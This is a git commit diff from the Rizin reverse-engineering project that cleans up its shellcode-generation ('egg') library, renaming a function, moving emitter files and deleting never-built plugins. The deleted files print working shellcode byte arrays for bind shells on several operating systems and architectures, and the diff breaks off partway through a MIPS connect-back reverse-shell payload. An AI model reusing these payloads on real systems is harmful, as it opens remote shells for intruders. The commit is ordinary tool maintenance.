Cleanup egg code from unused code. (#5767)
This commit is contained in:
Giovanni
GitHub
parent
e07ddae375
commit
6dd0dba9ff
13 changed files with 32 additions and 698 deletions
|
|
@ -294,19 +294,10 @@ RZ_API void rz_egg_syscall(RzEgg *egg, const char *arg, ...) {
|
|||
rz_syscall_item_free(item);
|
||||
}
|
||||
|
||||
RZ_API void rz_egg_alloc(RzEgg *egg, int n) {
|
||||
// add esp, n
|
||||
}
|
||||
|
||||
RZ_API void rz_egg_label(RzEgg *egg, const char *name) {
|
||||
rz_egg_printf(egg, "%s:\n", name);
|
||||
}
|
||||
|
||||
RZ_API void rz_egg_math(RzEgg *egg) { //, char eq, const char *vs, char type, const char *sr
|
||||
// TODO
|
||||
// e->mathop (egg, op, type, eq, p);
|
||||
}
|
||||
|
||||
RZ_API int rz_egg_raw(RzEgg *egg, const ut8 *b, int len) {
|
||||
int outlen = len * 2; // two hexadecimal digits per byte
|
||||
char *out = malloc(outlen + 1);
|
||||
|
|
@ -357,11 +348,6 @@ static int rz_egg_append_bytes(RzEgg *egg, const ut8 *b, int len) {
|
|||
return true;
|
||||
}
|
||||
|
||||
// rz_egg_block (egg, FRAME | IF | ELSE | ENDIF | FOR | WHILE, sz)
|
||||
RZ_API void rz_egg_if(RzEgg *egg, const char *reg, char cmp, int v) {
|
||||
// egg->depth++;
|
||||
}
|
||||
|
||||
RZ_API void rz_egg_printf(RzEgg *egg, const char *fmt, ...) {
|
||||
va_list ap;
|
||||
int len;
|
||||
|
|
@ -454,8 +440,6 @@ RZ_API RzBuffer *rz_egg_get_bin(RzEgg *egg) {
|
|||
return egg->bin;
|
||||
}
|
||||
|
||||
// RZ_API int rz_egg_dump (RzEgg *egg, const char *file) { }
|
||||
|
||||
RZ_API char *rz_egg_get_source(RzEgg *egg) {
|
||||
return rz_buf_to_string(egg->src);
|
||||
}
|
||||
|
|
@ -552,10 +536,6 @@ RZ_API int rz_egg_padding(RzEgg *egg, const char *pad) {
|
|||
return true;
|
||||
}
|
||||
|
||||
RZ_API void rz_egg_fill(RzEgg *egg, int pos, int type, int argc, int length) {
|
||||
// TODO
|
||||
}
|
||||
|
||||
RZ_API void rz_egg_option_set(RzEgg *egg, const char *key, const char *val) {
|
||||
sdb_set(egg->db, key, val);
|
||||
}
|
||||
|
|
|
|||
|
|
@ -223,7 +223,7 @@ static void rcc_internal_mathop(RzEgg *egg, const char *ptr, char *ep, char op)
|
|||
p++;
|
||||
}
|
||||
if (is_var(p)) {
|
||||
p = rz_egg_mkvar(egg, buf, p, 0);
|
||||
p = rz_egg_lang_mkvar(egg, buf, p, 0);
|
||||
if (egg->lang.varxs == '*') {
|
||||
e->load(egg, p, egg->lang.varsize);
|
||||
RZ_FREE(oldp);
|
||||
|
|
@ -298,7 +298,7 @@ static void rcc_mathop(RzEgg *egg, char **pos, int level) {
|
|||
|
||||
static void rcc_pusharg(RzEgg *egg, char *str) {
|
||||
RzEggEmit *e = egg->remit;
|
||||
char buf[64], *p = rz_egg_mkvar(egg, buf, str, 0);
|
||||
char buf[64], *p = rz_egg_lang_mkvar(egg, buf, str, 0);
|
||||
if (!p) {
|
||||
return;
|
||||
}
|
||||
|
|
@ -505,7 +505,7 @@ static void rcc_pushstr(RzEgg *egg, char *str, int filter) {
|
|||
RZ_FREE(egg->lang.dstvar);
|
||||
}
|
||||
|
||||
RZ_API char *rz_egg_mkvar(RzEgg *egg, char *out, const char *_str, int delta) {
|
||||
RZ_API char *rz_egg_lang_mkvar(RzEgg *egg, char *out, const char *_str, int delta) {
|
||||
int i, len, qi;
|
||||
char *oldstr = NULL, *str = NULL, foo[32], *q, *ret = NULL;
|
||||
|
||||
|
|
@ -595,7 +595,7 @@ RZ_API char *rz_egg_mkvar(RzEgg *egg, char *out, const char *_str, int delta) {
|
|||
free(egg->lang.dstvar);
|
||||
egg->lang.dstvar = rz_str_dup(skipspaces(foo));
|
||||
rcc_pushstr(egg, str, mustfilter);
|
||||
ret = rz_egg_mkvar(egg, out, foo, 0);
|
||||
ret = rz_egg_lang_mkvar(egg, out, foo, 0);
|
||||
free(oldstr);
|
||||
}
|
||||
return ret;
|
||||
|
|
@ -982,7 +982,7 @@ static void rcc_next(RzEgg *egg) {
|
|||
if (!ocn) {
|
||||
return;
|
||||
}
|
||||
str = rz_egg_mkvar(egg, buf, ocn, 0);
|
||||
str = rz_egg_lang_mkvar(egg, buf, ocn, 0);
|
||||
if (!str) {
|
||||
eprintf("Cannot mkvar\n");
|
||||
return;
|
||||
|
|
@ -1058,7 +1058,7 @@ static void rcc_next(RzEgg *egg) {
|
|||
// XXX: Probably buggy and wrong
|
||||
*buf = 0;
|
||||
free (str);
|
||||
str = rz_egg_mkvar (egg, buf, ocn, 0);
|
||||
str = rz_egg_lang_mkvar (egg, buf, ocn, 0);
|
||||
if (*buf)
|
||||
e->get_result (egg, buf); // Why should get_result into ocn?
|
||||
//else { eprintf("external symbol %s\n", ocn); }
|
||||
|
|
@ -1070,7 +1070,7 @@ static void rcc_next(RzEgg *egg) {
|
|||
// if (egg->lang.mode != NAKED) {
|
||||
*buf = 0;
|
||||
free(str);
|
||||
str = rz_egg_mkvar(egg, buf, egg->lang.dstvar, 0);
|
||||
str = rz_egg_lang_mkvar(egg, buf, egg->lang.dstvar, 0);
|
||||
if (*buf == 0) {
|
||||
eprintf("Cannot resolve variable '%s'\n", egg->lang.dstvar);
|
||||
} else {
|
||||
|
|
@ -1098,9 +1098,9 @@ static void rcc_next(RzEgg *egg) {
|
|||
RZ_FREE(egg->lang.mathline);
|
||||
tmp = NULL;
|
||||
// following code block is too ugly, oh noes
|
||||
char *p = rz_egg_mkvar(egg, buf, ptr, 0);
|
||||
char *p = rz_egg_lang_mkvar(egg, buf, ptr, 0);
|
||||
if (is_var(p)) {
|
||||
char *q = rz_egg_mkvar(egg, buf, p, 0);
|
||||
char *q = rz_egg_lang_mkvar(egg, buf, p, 0);
|
||||
if (q) {
|
||||
free(p);
|
||||
p = q;
|
||||
|
|
@ -1119,10 +1119,10 @@ static void rcc_next(RzEgg *egg) {
|
|||
char str2[64], *p, ch = *(eq-1);
|
||||
*eq = '\0';
|
||||
eq = (char*) skipspaces (eq+1);
|
||||
p = rz_egg_mkvar (egg, str2, ptr, 0);
|
||||
p = rz_egg_lang_mkvar (egg, str2, ptr, 0);
|
||||
vs = egg->lang.varsize;
|
||||
if (is_var (eq)) {
|
||||
eq = rz_egg_mkvar (egg, buf, eq, 0);
|
||||
eq = rz_egg_lang_mkvar (egg, buf, eq, 0);
|
||||
if (egg->lang.varxs=='*')
|
||||
e->load (egg, eq, egg->lang.varsize);
|
||||
else
|
||||
|
|
@ -1185,7 +1185,7 @@ RZ_API int rz_egg_lang_parsechar(RzEgg *egg, char c) {
|
|||
if (c == '`') {
|
||||
egg->lang.elem[egg->lang.elem_n] = 0;
|
||||
egg->lang.elem_n = 0;
|
||||
tmp_ptr = rz_egg_mkvar(egg, str, egg->lang.elem, 0);
|
||||
tmp_ptr = rz_egg_lang_mkvar(egg, str, egg->lang.elem, 0);
|
||||
rz_egg_printf(egg, "%s", tmp_ptr);
|
||||
free(tmp_ptr);
|
||||
egg->lang.quotelinevar = 0;
|
||||
|
|
|
|||
|
|
@ -119,7 +119,7 @@ static void emit_set_string(RzEgg *egg, const char *dstvar, const char *str, int
|
|||
}
|
||||
rz_egg_printf(egg, " sub r0, pc, %d\n", off + 12);
|
||||
{
|
||||
char str[32], *p = rz_egg_mkvar(egg, str, dstvar, 0);
|
||||
char str[32], *p = rz_egg_lang_mkvar(egg, str, dstvar, 0);
|
||||
// rz_egg_printf (egg, "DSTVAR=%s --> %s\n", dstvar, p);
|
||||
rz_egg_printf(egg, " str r0, [%s]\n", p);
|
||||
free(p);
|
||||
|
|
@ -254,7 +254,7 @@ static void emit_branch(RzEgg *egg, char *b, char *g, char *e, char *n, int sz,
|
|||
if (*arg == '=') {
|
||||
arg++; /* for <=, >=, ... */
|
||||
}
|
||||
p = rz_egg_mkvar(egg, str, arg, 0);
|
||||
p = rz_egg_lang_mkvar(egg, str, arg, 0);
|
||||
rz_egg_printf(egg, " pop " RZ_AX "\n"); /* TODO: add support for more than one arg get arg0 */
|
||||
rz_egg_printf(egg, " cmp %s, " RZ_AX "\n", p);
|
||||
// if (context>0)
|
||||
|
|
@ -141,7 +141,7 @@ static void emit_branch(RzEgg *egg, char *b, char *g, char *e, char *n, int sz,
|
|||
if (*arg == '=') {
|
||||
arg++; /* for <=, >=, ... */
|
||||
}
|
||||
p = rz_egg_mkvar(egg, str, arg, 0);
|
||||
p = rz_egg_lang_mkvar(egg, str, arg, 0);
|
||||
rz_egg_printf(egg, "%s (%s) => (%s)\n", op, p, dst);
|
||||
free(p);
|
||||
}
|
||||
|
|
@ -2,4 +2,4 @@
|
|||
// SPDX-License-Identifier: LGPL-3.0-only
|
||||
|
||||
#define ARCH_X86_64 1
|
||||
#include "emit_x86.c"
|
||||
#include "x86.c"
|
||||
|
|
@ -175,7 +175,7 @@ static void emit_string(RzEgg *egg, const char *dstvar, const char *str, int j)
|
|||
for (i = 4; i <= oj; i += 4) {
|
||||
/* XXX endian issues (non-portable asm) */
|
||||
ut32 *n = (ut32 *)(s + i - 4);
|
||||
p = rz_egg_mkvar(egg, str2, dstvar, i + BPOFF);
|
||||
p = rz_egg_lang_mkvar(egg, str2, dstvar, i + BPOFF);
|
||||
if (attsyntax) {
|
||||
rz_egg_printf(egg, " movl $0x%x, %s\n", M32(*n), p);
|
||||
} else {
|
||||
|
|
@ -187,7 +187,7 @@ static void emit_string(RzEgg *egg, const char *dstvar, const char *str, int j)
|
|||
#undef M32
|
||||
|
||||
/* zero */
|
||||
p = rz_egg_mkvar(egg, str2, dstvar, i + BPOFF);
|
||||
p = rz_egg_lang_mkvar(egg, str2, dstvar, i + BPOFF);
|
||||
if (attsyntax) {
|
||||
rz_egg_printf(egg, " movl $0, %s\n", p);
|
||||
} else {
|
||||
|
|
@ -196,7 +196,7 @@ static void emit_string(RzEgg *egg, const char *dstvar, const char *str, int j)
|
|||
free(p);
|
||||
|
||||
/* store pointer */
|
||||
p = rz_egg_mkvar(egg, str2, dstvar, j + 4 + BPOFF);
|
||||
p = rz_egg_lang_mkvar(egg, str2, dstvar, j + 4 + BPOFF);
|
||||
if (attsyntax) {
|
||||
rz_egg_printf(egg, " lea %s, %%" RZ_AX "\n", p);
|
||||
} else {
|
||||
|
|
@ -204,7 +204,7 @@ static void emit_string(RzEgg *egg, const char *dstvar, const char *str, int j)
|
|||
}
|
||||
free(p);
|
||||
|
||||
p = rz_egg_mkvar(egg, str2, dstvar, 0);
|
||||
p = rz_egg_lang_mkvar(egg, str2, dstvar, 0);
|
||||
if (attsyntax) {
|
||||
rz_egg_printf(egg, " mov %%" RZ_AX ", %s\n", p);
|
||||
} else {
|
||||
|
|
@ -422,7 +422,7 @@ static void emit_branch(RzEgg *egg, char *b, char *g, char *e, char *n, int sz,
|
|||
if (*arg == '=') {
|
||||
arg++; /* for <=, >=, ... */
|
||||
}
|
||||
p = rz_egg_mkvar(egg, str, arg, 0);
|
||||
p = rz_egg_lang_mkvar(egg, str, arg, 0);
|
||||
if (attsyntax) {
|
||||
rz_egg_printf(egg, " pop %%" RZ_AX "\n"); /* TODO: add support for more than one arg get arg0 */
|
||||
rz_egg_printf(egg, " cmp%c %s, %%" RZ_AX "\n", sz, p);
|
||||
|
|
@ -1,10 +1,5 @@
|
|||
egg_plugins_list = [
|
||||
# commented plugins were never built.
|
||||
#'bind',
|
||||
#'cb',
|
||||
'exec',
|
||||
#'reverse',
|
||||
#'shya',
|
||||
'xor',
|
||||
]
|
||||
|
||||
|
|
@ -18,16 +13,11 @@ rz_egg_sources = [
|
|||
'egg.c',
|
||||
'egg_c_compile.c',
|
||||
'egg_lang.c',
|
||||
'emit_arm.c',
|
||||
'emit_trace.c',
|
||||
'emit_x64.c',
|
||||
'emit_x86.c',
|
||||
# commented plugins were never built.
|
||||
#'p/egg_bind.c',
|
||||
#'p/egg_cb.c',
|
||||
'emit/arm.c',
|
||||
'emit/trace.c',
|
||||
'emit/x64.c',
|
||||
'emit/x86.c',
|
||||
'p/egg_exec.c',
|
||||
#'p/egg_reverse.c',
|
||||
#'p/egg_shya.c',
|
||||
'p/egg_xor.c'
|
||||
]
|
||||
|
||||
|
|
|
|||
|
|
@ -1,216 +0,0 @@
|
|||
// SPDX-FileCopyrightText: 2013 pancake <pancake@nopcode.org>
|
||||
// SPDX-License-Identifier: LGPL-3.0-only
|
||||
|
||||
#include <rz_egg.h>
|
||||
|
||||
static unsigned char x86_osx_bind4444[] =
|
||||
"\x33\xc9\x83\xe9\xea\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc5"
|
||||
"\x7e\x85\xb4\x83\xeb\xfc\xe2\xf4\xaf\x3c\xdd\x79\x45\x14\xe4\xec"
|
||||
"\x5c\x2c\xed\xa4\xc7\x6f\xd9\x3d\x24\x2c\xc7\xe6\x87\x2c\xef\xa4"
|
||||
"\x08\xfe\x1c\x27\x94\x2d\xd7\xde\xad\x26\x48\x34\x75\x14\x48\x34"
|
||||
"\x97\x2d\xd7\x04\xdb\xb3\x05\x23\xaf\x7c\xdc\xde\x9f\x26\xd4\xe3"
|
||||
"\x94\xb3\x05\xfd\xca\xf7\x74\x4b\x3a\x81\xd5\xdc\xea\x51\xf6\xdc"
|
||||
"\xad\x51\xe7\xdd\xab\xf7\x66\xe4\x91\x2a\xd6\xe7\x75\x45\x48\x34";
|
||||
|
||||
static unsigned char x86_solaris_bind4444[] =
|
||||
"\x31\xc9\x83\xe9\xe8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x3f"
|
||||
"\x08\x0b\x8d\x83\xeb\xfc\xe2\xf4\x87\xf7\xf3\x72\x03\xff\xdb\xdd"
|
||||
"\x0e\xc8\xbb\x17\x6f\x81\xee\xbc\xf6\x59\x4a\xcc\x6e\x59\xbb\x6b"
|
||||
"\xc0\xdd\x3a\x5f\xb6\xcf\x59\xeb\x57\x19\x57\xeb\x6e\x81\xed\xe7"
|
||||
"\x2f\x5e\x5c\x3d\xd7\xf7\xde\x3d\xd6\xf7\xde\xdd\x6f\x5f\xbb\x67"
|
||||
"\xc0\xdd\x3a\x5f\x8d\x01\x5a\xdf\x6f\xb8\x35\x72\xea\x41\x72\x7f"
|
||||
"\x6f\x60\x24\xa2\x4c\x60\x63\xa2\x5d\x61\x65\x04\xdc\x58\x58\x04"
|
||||
"\xdd\x58\x59\xde\x8f\x33\xf4\x58";
|
||||
|
||||
// port must be configurable
|
||||
static long x86_openbsd_bind6969[] = { // 391b
|
||||
0x4151c931, 0x51514151, 0x61b0c031, 0x078980cd, 0x4f88c931, 0x0547c604, 0x084f8902,
|
||||
0x0647c766, 0x106a391b, 0x5004478d, 0x5050078b, 0x68b0c031, 0x016a80cd, 0x5050078b,
|
||||
0x6ab0c031, 0xc93180cd, 0x078b5151, 0xc0315050, 0x80cd1eb0, 0xc9310789, 0x50078b51,
|
||||
0xb0c03150, 0x4180cd5a, 0x7503f983, 0x5b23ebef, 0xc9311f89, 0x89074b88, 0x8d51044f,
|
||||
0x078b5007, 0xc0315050, 0x80cd3bb0, 0x5151c931, 0x01b0c031, 0xd8e880cd, 0x2fffffff,
|
||||
0x2f6e6962, 0x90416873
|
||||
};
|
||||
|
||||
static unsigned char x86_linux_bind4444[] =
|
||||
"\x33\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x81\x9c\x95"
|
||||
"\xe9\x83\xeb\xfc\xe2\xf4\xb0\x47\xc6\xaa\xd2\xf6\x97\x83\xe7\xc4\x0c\x60"
|
||||
"\x60\x51\x15\x7f\xc2\xce\xf3\x81\x90\xc0\xf3\xba\x08\x7d\xff\x8f\xd9\xcc"
|
||||
"\xc4\xbf\x08\x7d\x58\x69\x31\xfa\x44\x0a\x4c\x1c\xc7\xbb\xd7\xdf\x1c\x08"
|
||||
"\x31\xfa\x58\x69\x12\xf6\x97\xb0\x31\xa3\x58\x69\xc8\xe5\x6c\x59\x8a\xce"
|
||||
"\xfd\xc6\xae\xef\xfd\x81\xae\xfe\xfc\x87\x08\x7f\xc7\xba\x08\x7d\x58\x69\x00";
|
||||
|
||||
// TODO: UDP support
|
||||
static unsigned char x86_linux_udp4444[] =
|
||||
"\x33\xc9\x83\xe9\xe7\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x13\xec\x81"
|
||||
"\xca\x83\xeb\xfc\xe2\xf4\x22\x37\xd2\xa0\x11\x86\x83\x89\x79\x8a\xd9\x43"
|
||||
"\xf2\x21\x01\x59\x4a\x5c\xbe\x07\x93\xa5\xf8\x33\x48\xb6\xe9\xb5\x13\xec"
|
||||
"\x80\xac\x7b\xfd\xdd\xac\x40\x65\x60\xa0\x03\xbd\xd2\x43\xf2\xaf\x31\xac"
|
||||
"\xde\x6c\xeb\xc1\x4b\xbe\xe7\xa2\x3e\x85\x08\x2b\x79\x8b\xe7\xa2\x7a\x82"
|
||||
"\xe9\xaf\x77\x85\xf5\xa2\x3e\xc1\xef\xa5\x9a\x0b\xd3\xa2\x3c\xc3\xf2\xa2"
|
||||
"\x7b\xc3\xe3\xa3\x7d\x65\x62\x98\x42\xbb\xd2\x43\xf2\x21\x01\xca\x00";
|
||||
|
||||
static char arm_linux_bind[] =
|
||||
"\x20\x60\x8f\xe2" /* add r6, pc, #32 */
|
||||
"\x07\x70\x47\xe0" /* sub r7, r7, r7 */
|
||||
"\x01\x70\xc6\xe5" /* strb r7, [r6, #1] */
|
||||
"\x01\x30\x87\xe2" /* add r3, r7, #1 */
|
||||
"\x13\x07\xa0\xe1" /* mov r0, r3, lsl r7 */
|
||||
"\x01\x20\x83\xe2" /* add r2, r3, #1 */
|
||||
"\x07\x40\xa0\xe1" /* mov r4, r7 */
|
||||
"\x0e\xe0\x4e\xe0" /* sub lr, lr, lr */
|
||||
"\x1c\x40\x2d\xe9" /* stmfd sp!, {r2-r4, lr} */
|
||||
"\x0d\x10\xa0\xe1" /* mov r1, sp */
|
||||
"\x66\xff\x90\xef" /* swi 0x90ff66 (socket) */
|
||||
"\x10\x57\xa0\xe1" /* mov r5, r0, lsl r7 */
|
||||
"\x35\x70\xc6\xe5" /* strb r7, [r6, #53] */
|
||||
"\x14\x20\xa0\xe3" /* mov r2, #20 */
|
||||
"\x82\x28\xa9\xe1" /* mov r2, r2, lsl #17 */
|
||||
"\x02\x20\x82\xe2" /* add r2, r2, #2 */
|
||||
"\x14\x40\x2d\xe9" /* stmfd sp!, {r2,r4, lr} */
|
||||
"\x10\x30\xa0\xe3" /* mov r3, #16 */
|
||||
"\x0d\x20\xa0\xe1" /* mov r2, sp */
|
||||
"\x0d\x40\x2d\xe9" /* stmfd sp!, {r0, r2, r3, lr} */
|
||||
"\x02\x20\xa0\xe3" /* mov r2, #2 */
|
||||
"\x12\x07\xa0\xe1" /* mov r0, r2, lsl r7 */
|
||||
"\x0d\x10\xa0\xe1" /* mov r1, sp */
|
||||
"\x66\xff\x90\xef" /* swi 0x90ff66 (bind) */
|
||||
"\x45\x70\xc6\xe5" /* strb r7, [r6, #69] */
|
||||
"\x02\x20\x82\xe2" /* add r2, r2, #2 */
|
||||
"\x12\x07\xa0\xe1" /* mov r0, r2, lsl r7 */
|
||||
"\x66\xff\x90\xef" /* swi 0x90ff66 (listen) */
|
||||
"\x5d\x70\xc6\xe5" /* strb r7, [r6, #93] */
|
||||
"\x01\x20\x82\xe2" /* add r2, r2, #1 */
|
||||
"\x12\x07\xa0\xe1" /* mov r0, r2, lsl r7 */
|
||||
"\x04\x70\x8d\xe5" /* str r7, [sp, #4] */
|
||||
"\x08\x70\x8d\xe5" /* str r7, [sp, #8] */
|
||||
"\x66\xff\x90\xef" /* swi 0x90ff66 (accept) */
|
||||
"\x10\x57\xa0\xe1" /* mov r5, r0, lsl r7 */
|
||||
"\x02\x10\xa0\xe3" /* mov r1, #2 */
|
||||
"\x71\x70\xc6\xe5" /* strb r7, [r6, #113] */
|
||||
"\x15\x07\xa0\xe1" /* mov r0, r5, lsl r7 <dup2> */
|
||||
"\x3f\xff\x90\xef" /* swi 0x90ff3f (dup2) */
|
||||
"\x01\x10\x51\xe2" /* subs r1, r1, #1 */
|
||||
"\xfb\xff\xff\x5a" /* bpl <dup2> */
|
||||
"\x99\x70\xc6\xe5" /* strb r7, [r6, #153] */
|
||||
"\x14\x30\x8f\xe2" /* add r3, pc, #20 */
|
||||
"\x04\x30\x8d\xe5" /* str r3, [sp, #4] */
|
||||
"\x04\x10\x8d\xe2" /* add r1, sp, #4 */
|
||||
"\x02\x20\x42\xe0" /* sub r2, r2, r2 */
|
||||
"\x13\x02\xa0\xe1" /* mov r0, r3, lsl r2 */
|
||||
"\x08\x20\x8d\xe5" /* str r2, [sp, #8] */
|
||||
"\x0b\xff\x90\xef" /* swi 0x900ff0b (execve) */
|
||||
"/bin/sh";
|
||||
|
||||
static unsigned char sparc_linux_bind4444[] =
|
||||
"\x23\x2d\x57\xbb\xa2\x14\x63\xd5\x20\xbf\xff\xff\x20\xbf\xff\xff"
|
||||
"\x7f\xff\xff\xff\xea\x03\xe0\x20\xaa\x9d\x40\x11\xea\x23\xe0\x20"
|
||||
"\xa2\x04\x40\x15\x81\xdb\xe0\x20\x12\xbf\xff\xfb\x9e\x03\xe0\x04"
|
||||
"\x29\x75\x4f\xd2\xf1\x9a\xaf\xde\x61\x8a\x8f\xdf\x61\x89\x70\x2b"
|
||||
"\xb1\xed\x30\x2b\xf1\xd1\xf0\x37\x60\x35\xaf\xcb\x06\x29\x8f\x1d"
|
||||
"\x97\x99\xf0\xb1\x3c\x3a\x50\x91\x9a\x2d\xb0\xc1\x32\x6e\x0f\x15"
|
||||
"\x54\x4a\xcf\x2d\xb1\xad\x30\x49\x69\xb8\x10\x0d\xc3\xdf\x12\xb8"
|
||||
"\xfb\xe4\x2d\x22\x6c\x0b\x72\xa0\x1d\xfb\x52\xb4\xbf\xeb\xb2\xb5"
|
||||
"\x22\x28\x0d\x4d\x32\x3f\x52\xa9\xa3\xef\xb2\xa1\x04\x2c\x0d\x39"
|
||||
"\x44\x10\xcd\x45\xd4\x47\x12\xb0\x45\xb7\x72\xaa\xb6\x14\xcd\x3e"
|
||||
"\xa4\x4b\x12\xbd\x5a\xc9\x32\xc0\xd9\x1d\x92\x98\x4c\xcd\xf3\x0c"
|
||||
"\x7c\x52\x0c\xd1\x51\xae\x4c\xdd\xc5\xab\x73\x16\xc4\xc7\xab\xb2"
|
||||
"\xa6\xcc\x6a\xac\x85\xe7\xb1\xea\x59\xdb\xea\x1a\xc8\x38\x4a\x12"
|
||||
"\x0c\x04\x35\xd2\x1c\x58\xf5\xea\x5c\xbc\xb5\xf6\xde\xd2\xea\x3d"
|
||||
"\x4f\x02\xca\x49\x70\xa3\x0a\x49";
|
||||
|
||||
static unsigned char x86_w32_tcp4444[] =
|
||||
"\x33\xc9\x83\xe9\xb8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x7a"
|
||||
"\xba\xcb\x13\x83\xeb\xfc\xe2\xf4\x86\xd0\x20\x5e\x92\x43\x34\xec"
|
||||
"\x85\xda\x40\x7f\x5e\x9e\x40\x56\x46\x31\xb7\x16\x02\xbb\x24\x98"
|
||||
"\x35\xa2\x40\x4c\x5a\xbb\x20\x5a\xf1\x8e\x40\x12\x94\x8b\x0b\x8a"
|
||||
"\xd6\x3e\x0b\x67\x7d\x7b\x01\x1e\x7b\x78\x20\xe7\x41\xee\xef\x3b"
|
||||
"\x0f\x5f\x40\x4c\x5e\xbb\x20\x75\xf1\xb6\x80\x98\x25\xa6\xca\xf8"
|
||||
"\x79\x96\x40\x9a\x16\x9e\xd7\x72\xb9\x8b\x10\x77\xf1\xf9\xfb\x98"
|
||||
"\x3a\xb6\x40\x63\x66\x17\x40\x53\x72\xe4\xa3\x9d\x34\xb4\x27\x43"
|
||||
"\x85\x6c\xad\x40\x1c\xd2\xf8\x21\x12\xcd\xb8\x21\x25\xee\x34\xc3"
|
||||
"\x12\x71\x26\xef\x41\xea\x34\xc5\x25\x33\x2e\x75\xfb\x57\xc3\x11"
|
||||
"\x2f\xd0\xc9\xec\xaa\xd2\x12\x1a\x8f\x17\x9c\xec\xac\xe9\x98\x40"
|
||||
"\x29\xf9\x98\x50\x29\x45\x1b\x7b\x7a\xba\xcb\x13\x1c\xd2\xda\x4f"
|
||||
"\x1c\xe9\x42\xf2\xef\xd2\x27\xea\xd0\xda\x9c\xec\xac\xd0\xdb\x42"
|
||||
"\x2f\x45\x1b\x75\x10\xde\xad\x7b\x19\xd7\xa1\x43\x23\x93\x07\x9a"
|
||||
"\x9d\xd0\x8f\x9a\x98\x8b\x0b\xe0\xd0\x2f\x42\xee\x84\xf8\xe6\xed"
|
||||
"\x38\x96\x46\x69\x42\x11\x60\xb8\x12\xc8\x35\xa0\x6c\x45\xbe\x3b"
|
||||
"\x85\x6c\x90\x44\x28\xeb\x9a\x42\x10\xbb\x9a\x42\x2f\xeb\x34\xc3"
|
||||
"\x12\x17\x12\x16\xb4\xe9\x34\xc5\x10\x45\x34\x24\x85\x6a\xa3\xf4"
|
||||
"\x03\x7c\xb2\xec\x0f\xbe\x34\xc5\x85\xcd\x37\xec\xaa\xd2\x3b\x99"
|
||||
"\x7e\xe5\x98\xec\xac\x45\x1b\x13";
|
||||
|
||||
static RzBuffer *build(RzEgg *egg) {
|
||||
RzBuffer *buf = rz_buf_new_with_bytes(NULL, 0);
|
||||
const ut8 *sc = NULL;
|
||||
int cd = 0;
|
||||
char *port = rz_egg_option_get(egg, "port");
|
||||
// TODO: char *udp = rz_egg_option_get (egg, "udp");
|
||||
switch (egg->os) {
|
||||
case RZ_EGG_OS_OSX:
|
||||
case RZ_EGG_OS_DARWIN:
|
||||
switch (egg->arch) {
|
||||
case RZ_SYS_ARCH_X86:
|
||||
if (suid) {
|
||||
sc = x86_osx_suid_binsh;
|
||||
cd = 7 + 36;
|
||||
} else {
|
||||
sc = x86_osx_binsh;
|
||||
cd = 36;
|
||||
}
|
||||
case RZ_SYS_ARCH_ARM:
|
||||
// TODO
|
||||
break;
|
||||
}
|
||||
break;
|
||||
case RZ_EGG_OS_LINUX:
|
||||
if (suid)
|
||||
eprintf("no suid for this platform\n");
|
||||
suid = 0;
|
||||
switch (egg->arch) {
|
||||
case RZ_SYS_ARCH_X86:
|
||||
switch (egg->bits) {
|
||||
case 32: sc = x86_linux_binsh; break;
|
||||
case 64: sc = x86_64_linux_binsh; break;
|
||||
default: eprintf("Unsupportted\n");
|
||||
}
|
||||
break;
|
||||
case RZ_SYS_ARCH_ARM:
|
||||
sc = arm_linux_binsh;
|
||||
break;
|
||||
}
|
||||
break;
|
||||
default:
|
||||
eprintf("unsupported os %x\n", egg->os);
|
||||
break;
|
||||
}
|
||||
if (sc) {
|
||||
rz_buf_set_bytes(buf, sc, strlen((const char *)sc));
|
||||
if (shell && *shell) {
|
||||
if (cd)
|
||||
rz_buf_write_at(buf, cd, (const ut8 *)shell, strlen(shell) + 1);
|
||||
else
|
||||
eprintf("Cannot set shell\n");
|
||||
}
|
||||
}
|
||||
free(suid);
|
||||
free(shell);
|
||||
return buf;
|
||||
}
|
||||
|
||||
// TODO: rename plugin to run
|
||||
RzEggPlugin rz_egg_plugin_bind = {
|
||||
.name = "bind",
|
||||
.type = RZ_EGG_PLUGIN_SHELLCODE,
|
||||
.desc = "listen port=4444",
|
||||
.build = (void *)build
|
||||
};
|
||||
|
||||
#ifndef RZ_PLUGIN_INCORE
|
||||
RZ_API RzLibStruct rizin_plugin = {
|
||||
.type = RZ_LIB_TYPE_EGG,
|
||||
.data = &rz_egg_plugin_bind,
|
||||
.version = RZ_VERSION
|
||||
};
|
||||
#endif
|
||||
|
|
@ -1,56 +0,0 @@
|
|||
// SPDX-FileCopyrightText: 2011 pancake <pancake@nopcode.org>
|
||||
// SPDX-License-Identifier: LGPL-3.0-only
|
||||
|
||||
/* connect back shellcodes */
|
||||
// mips
|
||||
static char sc[] =
|
||||
"\x24\x0f\xff\xfd" // li t7,-3
|
||||
"\x01\xe0\x20\x27" // nor a0,t7,zero
|
||||
"\x01\xe0\x28\x27" // nor a1,t7,zero
|
||||
"\x28\x06\xff\xff" // slti a2,zero,-1
|
||||
"\x24\x02\x10\x57" // li v0,4183 ( sys_socket )
|
||||
"\x01\x01\x01\x0c" // syscall 0x40404
|
||||
|
||||
"\xaf\xa2\xff\xff" // sw v0,-1(sp)
|
||||
"\x8f\xa4\xff\xff" // lw a0,-1(sp)
|
||||
"\x24\x0f\xff\xfd" // li t7,-3 ( sa_family = AF_INET )
|
||||
"\x01\xe0\x78\x27" // nor t7,t7,zero
|
||||
"\xaf\xaf\xff\xe0" // sw t7,-32(sp)
|
||||
"\x3c\x0e\x7a\x69" // lui t6,0x7a69 ( sin_port = 0x7a69 )
|
||||
"\x35\xce\x7a\x69" // ori t6,t6,0x7a69
|
||||
"\xaf\xae\xff\xe4" // sw t6,-28(sp)
|
||||
|
||||
/* ==================== You can change ip here ;) ====================== */
|
||||
"\x3c\x0d\xc0\xa8" // lui t5,0xc0a8 ( sin_addr = 0xc0a8 ...
|
||||
"\x35\xad\x01\x64" // ori t5,t5,0x164 ...0164 )
|
||||
/* ====================================================================== */
|
||||
|
||||
"\xaf\xad\xff\xe6" // sw t5,-26(sp)
|
||||
"\x23\xa5\xff\xe2" // addi a1,sp,-30
|
||||
"\x24\x0c\xff\xef" // li t4,-17 ( addrlen = 16 )
|
||||
"\x01\x80\x30\x27" // nor a2,t4,zero
|
||||
"\x24\x02\x10\x4a" // li v0,4170 ( sys_connect )
